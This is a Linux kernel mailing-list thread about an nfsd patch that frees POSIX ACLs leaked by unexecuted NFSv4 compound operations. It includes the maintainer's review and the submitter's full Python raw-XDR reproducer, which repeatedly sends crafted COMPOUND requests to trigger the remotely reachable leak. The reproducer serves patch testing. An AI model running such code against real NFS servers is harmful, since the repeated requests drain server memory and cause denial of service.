nfsd: release POSIX ACLs of unexecuted compound ops
Subsystems (2)
PATCH 1/1 nfsd: release POSIX ACLs of unexecuted compound ops
From: Prabhakar Pujeri <[email protected]>
nfsd4_decode_fattr4() allocates POSIX ACLs while decoding OP_OPEN, OP_CREATE, and OP_SETATTR. Normally a processed OPEN releases them from its op_release callback, while CREATE and SETATTR transfer ownership to struct nfsd_attrs and clear their pointers.
If compound processing stops before a decoded ACL-bearing operation, nfsd4_release_compoundargs() frees the operation array without dropping those ACL references. A client can repeat an aborting compound to leak server memory.
Release ACLs that remain attached to decoded operations when the compound arguments are destroyed. Clear the OPEN pointers in its release callback so the final sweep remains idempotent for processed operations; CREATE and SETATTR already clear theirs when transferring ownership.
The procedure release callback also runs after a hard XDR decode failure. Keep opcnt limited to fully initialized entries on a truncated operation number, and clear it when the dynamic operation array cannot be allocated, so cleanup never walks stale inline entries or beyond the inline array.
An A/B kmemleak test with 512 crafted NFSv4.2 compounds found 347--349 leaked 64-byte ACL objects without this change and none with it. On the rebased kernel, 512 runtime-abort and 512 hard-decode compounds completed without a kmemleak or KASAN report.
--- fs/nfsd/nfs4proc.c | 2 ++ fs/nfsd/nfs4xdr.c | 31 ++++++++++++++++++++++++++++++- 2 files changed, 32 insertions(+), 1 deletion(-)
fs/nfsd/nfs4proc.c +2 -0
@@ -800,6 +800,8 @@ nfsd4_open_release(union nfsd4_op_u *u) {posix_acl_release (u->open.op_dpacl);posix_acl_release (u->open.op_pacl); + u->open.op_dpacl =NULL ; + u->open.op_pacl =NULL ; }/*
fs/nfsd/nfs4xdr.c +30 -1
@@ -2680,6 +2680,7 @@ nfsd4_decode_compound(struct nfsd4_compoundargs *argp) argp->ops =vcalloc (argp->opcnt,sizeof (*argp->ops));if (!argp->ops) { argp->ops = argp->iops; + argp->opcnt =0 ;return false; } }
@@ -2692,8 +2693,10 @@ nfsd4_decode_compound(struct nfsd4_compoundargs *argp) op->replay =NULL ; op->opdesc =NULL ; -if (xdr_stream_decode_u32 (argp->xdr, &op->opnum) <0 ) +if (xdr_stream_decode_u32 (argp->xdr, &op->opnum) <0 ) { + argp->opcnt = i;return false; + }if (nfsd4_opnum_in_range (argp, op)) { op->opdesc =OPDESC (op); op->status = nfsd4_dec_ops[op->opnum](argp, &op->u);
@@ -6836,6 +6839,32 @@ void nfsd4_encode_replay(struct xdr_stream *xdr, struct nfsd4_op *op)void nfsd4_release_compoundargs (struct svc_rqst *rqstp) {struct nfsd4_compoundargs *args = rqstp->rq_argp; +unsigned int i; + +/* +* Ops that were decoded but never executed (a later op failed to +* decode, or an earlier op failed at runtime) may still hold +* decoded POSIX ACLs; release them here. Executed ops have +* already released or NULLed their ACL pointers. +*/ +for (i =0 ; i < args->opcnt; i++) { +struct nfsd4_op *op = &args->ops[i]; + +switch (op->opnum) { +case OP_OPEN : +posix_acl_release (op->u.open.op_dpacl); +posix_acl_release (op->u.open.op_pacl); +break ; +case OP_CREATE : +posix_acl_release (op->u.create.cr_dpacl); +posix_acl_release (op->u.create.cr_pacl); +break ; +case OP_SETATTR : +posix_acl_release (op->u.setattr.sa_dpacl); +posix_acl_release (op->u.setattr.sa_pacl); +break ; + } + } args->opcnt =0 ;if (args->ops != args->iops) {
base-commit: 01c2994ccb0197cb44b0db89aacab460110f6347
Signature · 1 line
2.54.0
Chuck Lever
maintainerQuoted 23 lines · On Sun, Aug 23, 2026, at 7:32 AM, [email protected] wrote:
From: Prabhakar Pujeri <[email protected]>
nfsd4_decode_fattr4()allocates POSIX ACLs while decodingOP_OPEN,OP_CREATE, andOP_SETATTR. Normally a processed OPEN releases them from itsop_releasecallback, while CREATE and SETATTR transfer ownership to structnfsd_attrsand clear their pointers.If compound processing stops before a decoded ACL-bearing operation,
nfsd4_release_compoundargs()frees the operation array without dropping those ACL references. A client can repeat an aborting compound to leak server memory.Release ACLs that remain attached to decoded operations when the compound arguments are destroyed. Clear the OPEN pointers in its release callback so the final sweep remains idempotent for processed operations; CREATE and SETATTR already clear theirs when transferring ownership.
The procedure release callback also runs after a hard XDR decode failure. Keep opcnt limited to fully initialized entries on a truncated operation number, and clear it when the dynamic operation array cannot be allocated, so cleanup never walks stale inline entries or beyond the inline array.
Quoted 7 lines
An A/B kmemleak test with 512 crafted NFSv4.2 compounds found 347--349 leaked 64-byte ACL objects without this change and none with it. On the rebased kernel, 512 runtime-abort and 512 hard-decode compounds completed without a kmemleak or KASAN report.
Fixes 5fc51dfc2eb1 ("NFSD: Add support for XDR decoding POSIX draft ACLs")Signed-off-by Prabhakar Pujeri <[email protected]>
Hi Prabhakar,
Thanks for the report. I agree with the diagnosis and its status as triggerable by a remote. After careful review, I have decided to split the work into two patches.
Your two opcnt assignments fix something separate from the ACL leak, and that fix needs to be backported to stable kernels.
For the ACL half, the underlying issue is that ->set_acl() borrows the caller's reference rather than consuming it. That makes pointer ownership the true root cause, which IMHO needs a different approach than your proposed fix. And, since POSIX ACLs in NFSv4 are experimental and disabled by default, it's something that can be treated as mainline-only; no backport.
I'll post these as a two-patch series soon for you to review and try out.
Can you share the test that generated the 512 crafted compounds?
Signature · 1 line
Chuck Lever
Quoted 6 lines · Chuck Lever
Thanks for the report. I agree with the diagnosis and its status as triggerable by a remote. After careful review, I have decided to split the work into two patches.
Your two opcnt assignments fix something separate from the ACL leak, and that fix needs to be backported to stable kernels.
Thanks, the split makes sense, and separating the opcnt fix so it can go to stable on its own is clearly the right call -- it stands independent of the ACL question and is the part with the wider blast radius.
Quoted 4 lines
For the ACL half, the underlying issue is that ->set_acl() borrows the caller's reference rather than consuming it. That makes pointer ownership the true root cause, which IMHO needs a different approach than your proposed fix.
Agreed. My sweep in nfsd4_release_compoundargs() cleans up the symptom at teardown; putting the fix at the ownership boundary is the more durable answer, and it makes the release path idempotent by construction rather than by careful pointer-clearing. Happy to defer to your version. Since POSIX ACLs in NFSv4 are experimental and off by default, treating the ACL half as mainline-only with no backport also seems right.
I'll hold my patch and review/test yours once it's posted; please keep me on Cc so I can give it a Tested-by against the reproducer below.
Quoted 4 lines
I'll post these as a two-patch series soon for you to review and try out.
Can you share the test that generated the 512 crafted compounds?
Yes. The shape of it:
- Build a single NFSv4.1 COMPOUND that decodes an ACL-bearing op (OP_SETATTR with a fattr4 carrying an ACL, or OP_OPEN with an attr set) and then place, immediately after it, an operation that makes compound processing stop before the ACL-bearing op is executed -- so the ACL is allocated during decode but never reaches ->set_acl() and its op_release() never runs.
- Fire that compound N times (N=512 in my run) and watch kmalloc-tracked posix_acl allocations climb monotonically with no matching frees, e.g. via the posix_acl slab in /proc/slabinfo or a kmemleak scan.
- Baseline vs patched: unpatched leaks one ACL per iteration; patched holds flat.
I ran it as a small raw-XDR client harness rather than through pynfs; I'll clean it up and attach it here (or push it somewhere you can pull) so it drops straight into your test setup. If you'd rather I fold it in as a pynfs case so it lives with the existing NFSv4 tests, say the word and I'll target that instead.
Thanks again for picking this up.
--
Prabhakar
A correction to my description of the runtime-abort case in the message above:
The invalid PUTFH comes before the ACL-bearing SETATTR. The server decodes both operations, allocating the POSIX ACL while decoding SETATTR, then execution stops on the earlier PUTFH before SETATTR runs. Thus the decoded ACL remains owned by compound-argument cleanup.
The exact NFSv4.2 runtime shape is:
PUTFH(invalid one-byte filehandle)
SETATTR(FATTR4_WORD2_POSIX_ACCESS_ACL)
The hard-decode case decodes SETATTR, declares a second operation, and truncates the request before the second operation number.
Below is the raw-XDR reproducer I used. It defaults to 512 iterations of each mode; --mode runtime or --mode hard-decode selects one path.
Sorry for the reversed wording in my earlier reply.
-- >8 --
#!/usr/bin/env python3
"""Exercise NFSD cleanup of decoded POSIX ACL attributes.
The runtime-abort request decodes a SETATTR carrying a POSIX access ACL, then stops while processing an earlier invalid PUTFH. The hard-decode request decodes the SETATTR and advertises a second operation whose opnum is truncated. Both paths leave the decoded ACL owned by the compound argument cleanup code.
"""
import argparse
import collections
import random
import socket
import struct
NFS_PROGRAM = 100003NFS_VERSION = 4NFSPROC4_COMPOUND = 1OP_PUTFH = 22OP_SETATTR = 34FATTR4_WORD2_POSIX_ACCESS_ACL = 1 << (92 - 64)
def u32(value):
return struct.pack(">I", value)
def opaque(value):
padding = b"\0" * ((-len(value)) & 3)
return u32(len(value)) + value + padding
def access_acl():
# Minimal valid ACL: user::rwx, group::r-x, other::r-x.
entries = ((1, 7), (3, 5), (6, 5))
result = u32(len(entries))
for tag, permissions in entries:
result += u32(tag) + u32(permissions) + opaque(b"")
return resultdef setattr():
attributes = access_acl()
bitmap = (
u32(3)
+ u32(0)
+ u32(0)
+ u32(FATTR4_WORD2_POSIX_ACCESS_ACL)
)
stateid = b"\0" * 16
return u32(OP_SETATTR) + stateid + bitmap + opaque(attributes)
def compound(mode):
header = opaque(b"acl-release-test") + u32(2)
if mode == "runtime":
# A one-byte filehandle decodes but fails validation at execution.
operations = u32(OP_PUTFH) + opaque(b"\0") + setattr()
return header + u32(2) + operations
if mode == "hard-decode":
# opcount says two, but the second operation number is absent.
return header + u32(2) + setattr()
raise ValueError(mode)def rpc_call(xid, body):
rpc_header = b"".join(
u32(field)
for field in (
xid,
0, # CALL
2, # RPC version
NFS_PROGRAM,
NFS_VERSION,
NFSPROC4_COMPOUND,
0, # AUTH_NONE credential
0,
0, # AUTH_NONE verifier
0,
)
)
payload = rpc_header + body
return u32(0x80000000 | len(payload)) + payloaddef recv_exact(sock, length):
chunks = []
remaining = length
while remaining:
chunk = sock.recv(remaining)
if not chunk:
raise ConnectionError("server closed the RPC connection")
chunks.append(chunk)
remaining -= len(chunk)
return b"".join(chunks)
def recv_record(sock):
fragments = []
while True:
marker = struct.unpack(">I", recv_exact(sock, 4))[0]
fragments.append(recv_exact(sock, marker & 0x7FFFFFFF))
if marker & 0x80000000:
return b"".join(fragments)def unpack_u32(data, offset):
if offset + 4 > len(data):
raise ValueError("short RPC reply")
return struct.unpack_from(">I", data, offset)[0], offset + 4
def compound_status(reply, expected_xid):
xid, offset = unpack_u32(reply, 0)
message_type, offset = unpack_u32(reply, offset) reply_status, offset = unpack_u32(reply, offset)
if xid != expected_xid or message_type != 1 or reply_status != 0:
raise ValueError(
f"unexpected RPC reply header: xid={xid:#x}, " f"type={message_type}, status={reply_status}"
)
_, offset = unpack_u32(reply, offset) # verifier flavor verifier_length, offset = unpack_u32(reply, offset) offset += (verifier_length + 3) & ~3 accept_status, offset = unpack_u32(reply, offset) if accept_status != 0:
return f"RPC accept status {accept_status}"
status, _ = unpack_u32(reply, offset)
return f"NFS4 status {status}"
def run_mode(host, port, timeout, mode, count, first_xid):
statuses = collections.Counter()
with socket.create_connection((host, port), timeout=timeout) as sock:
sock.settimeout(timeout)
body = compound(mode)
for sequence in range(count):
xid = (first_xid + sequence) & 0xFFFFFFFF sock.sendall(rpc_call(xid, body)) statuses[compound_status(recv_record(sock), xid)] += 1
return statuses
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=2049)
parser.add_argument("--count", type=int, default=512)
parser.add_argument("--timeout", type=float, default=5.0)
parser.add_argument(
"--mode",
choices=("runtime", "hard-decode", "both"),
default="both",
)
args = parser.parse_args()
if args.count < 1:
parser.error("--count must be positive")
modes = ("runtime", "hard-decode") if args.mode == "both" else (args.mode,)
first_xid = random.SystemRandom().randrange(1, 1 << 32)
for index, mode in enumerate(modes):
statuses = run_mode(
args.host,
args.port,
args.timeout,
mode,
args.count,
first_xid + index * args.count,
)
formatted = ", ".join(
f"{status}: {seen}" for status, seen in sorted(statuses.items())
)
print(f"{mode}: sent {args.count}; {formatted}")if __name__ == "__main__":
main()
-- 8< --
--
Prabhakar